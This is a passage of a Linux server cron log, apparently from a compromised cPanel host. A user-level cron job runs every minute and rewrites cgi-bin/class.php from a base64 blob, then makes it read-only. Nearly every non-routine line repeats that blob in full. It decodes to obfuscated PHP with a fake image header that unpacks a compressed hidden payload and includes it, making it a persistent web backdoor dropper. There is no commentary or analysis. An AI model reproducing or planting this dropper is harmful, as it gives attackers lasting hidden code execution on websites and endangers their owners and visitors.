"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:20:01 server CROND[20398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:20:01 server CROND[20399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:20:01 server CROND[20400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:20:01 server CROND[20402]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 10:20:01 server CROND[20401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:21:01 server CROND[20509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:22:01 server CROND[20561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:23:01 server CROND[20604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:24:01 server CROND[20648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:25:01 server CROND[20694]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 10:25:01 server CROND[20695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:25:01 server CROND[20697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:25:01 server CROND[20698]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:26:01 server CROND[20905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:27:01 server CROND[20973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:27:01 server CROND[20974]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 10:28:01 server CROND[21023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:29:01 server CROND[21071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:30:01 server CROND[21140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:30:01 server CROND[21144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:30:01 server CROND[21143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:30:01 server CROND[21141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:31:01 server CROND[21333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:32:01 server CROND[21369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhO